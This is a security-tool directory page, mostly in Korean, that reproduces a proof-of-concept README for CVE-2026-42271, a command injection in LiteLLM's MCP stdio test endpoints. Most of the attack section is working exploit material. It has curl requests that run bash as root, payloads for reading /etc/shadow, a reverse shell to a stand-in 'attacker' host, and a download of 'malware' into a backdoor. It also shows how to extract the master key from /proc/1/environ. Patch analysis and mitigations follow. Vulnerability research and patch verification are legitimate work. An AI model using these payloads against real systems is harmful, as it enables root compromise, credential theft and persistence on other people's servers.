Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42271-PoC — 해당 취약점을 직접 재현하기 위한 코드 | Kitploit
도구/GitHubGitHub/learner202649/cve-2026-42271-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingLabs & Practice
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

해당 취약점을 직접 재현하기 위한 코드

저장소 보기
194개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42271 — MCP stdio 테스트 엔드포인트를 통한 LiteLLM 인증된 명령 주입

LiteLLM POST /mcp-rest/test/connection 및 POST /mcp-rest/test/tools/list — MCP stdio 전송 방식을 통한 인증된 명령 주입. 유효한 API 키만 있으면 (기본 Docker 배포에서) root 권한으로 임의의 OS 명령을 실행할 수 있습니다.

이미지는 digest로 고정됨: 취약한 컨테이너는 LiteLLM v1.82.6으로 고정되어 장기간 재현이 가능합니다.

필드값
CVECVE-2026-42271
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (OS 명령 주입)
영향받는 버전LiteLLM >= 1.74.2, < 1.83.7
수정 버전v1.83.7+ (명령어 화이트리스트 + PROXY_ADMIN 역할 검사 추가됨)
공개일2026-05-08
고정 버전v1.82.6 — 이미지가 digest로 고정되어 장기간 재현 가능
링크GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory

설명

저장하기 전에 MCP 서버를 미리 보는 데 사용되는 두 엔드포인트 — POST /mcp-rest/test/connection 및 POST /mcp-rest/test/tools/list — 는 요청 본문에 stdio 전송에서 사용되는 command, args, env 필드를 포함한 전체 MCP 서버 구성을 허용합니다.

stdio 구성으로 호출하면 엔드포인트는 프록시 호스트에서 제공된 명령을 프록시 프로세스의 권한 (기본 Docker에서는 root) 으로 하위 프로세스(subprocess) 로 실행합니다.

핵심 문제: 엔드포인트는 역할 검사 없이 유효한 프록시 API 키만 확인합니다. 따라서 낮은 권한의 internal_user 키로도 이를 악용할 수 있습니다.


개념 증명

빠른 시작 (Docker)

# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

실행 확인

# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

API는 "Failed to connect to MCP server"를 반환합니다. 생성된 프로세스가 MCP 프로토콜을 사용하지 않기 때문입니다. 그러나 명령은 이미 root 권한으로 실행되었습니다.


공격 시나리오

시나리오페이로드
기본 RCE"args": ["-c", "id > /tmp/pwned"]
파일 읽기"args": ["-c", "cat /etc/shadow > /tmp/out"]
환경 변수 유출`"args": ["-c", "cat /proc/1/environ
리버스 셸"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
지속성"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]

취약한 엔드포인트

POST /mcp-rest/test/connection

MCP 서버 연결을 테스트합니다. stdio 전송 방식을 사용하면 제공된 명령을 실행합니다.

POST /mcp-rest/test/tools/list

테스트 MCP 서버의 도구 목록을 나열합니다. 동일한 동작 — stdio 전송 방식을 사용할 때 제공된 명령을 실행합니다.

요청 본문 형식

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}
필드유형필수설명
transportstring예명령 주입을 위해서는 "stdio"여야 함
commandstring예실행할 실행 파일 (예: bash, python, curl)
argsarray예명령에 전달되는 인수
envobject아니요하위 프로세스의 환경 변수

패치 분석 (v1.83.7)

이 수정은 두 가지 방어 계층을 추가했습니다:

  1. validate_transport_fields()를 통한 명령어 화이트리스트 — 허용 목록: npx, uvx, python, python3, node, docker, deno
  2. 역할 기반 접근 제어 — 두 엔드포인트 모두 이제 PROXY_ADMIN 역할이 필요

저장소 구조

CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

완화 조치

  1. LiteLLM **v1.83.7+**로 업그레이드 (명령어 화이트리스트 + PROXY_ADMIN 역할 검사)
  2. 리버스 프록시에서 /mcp-rest/test/connection 및 /mcp-rest/test/tools/list 차단
  3. API 키 권한 제한 — 손상이 의심되면 키 교체
  4. Docker에서 비-root로 실행: docker run --user 1000:1000 ...

⚠️ 참고: MCP SDK 환경 변수 격리

5.7절 (프로세스 환경 변수 추출) 을 재현할 때 주의하세요: MCP Python SDK v1.25.0+ 는 stdio 하위 프로세스를 생성할 때 LiteLLM 부모 프로세스의 환경 변수를 상속하지 않습니다. SDK는 get_default_environment()를 통해 HOME과 PATH만 전달한 후 사용자가 명시적으로 지정한 env 필드를 병합합니다.

따라서 env > /tmp/env_dump로는 LITELLM_MASTER_KEY를 캡처할 수 없습니다.

올바른 방법: LiteLLM 메인 프로세스의 /proc/1/environ을 읽어 환경 변수를 추출합니다:

# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

자세한 내용은 재현 보고서 5.7절을 참조하세요.


참고 자료

  • GitHub 보안 권고 GHSA-v4p8-mg3p-g94g
  • GitLab 권고
  • NVD 상세
  • v1.83.7-stable 릴리스
  • LiteLLM MCP 문서

면책 조항: 이 콘텐츠는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.

도구 다운로드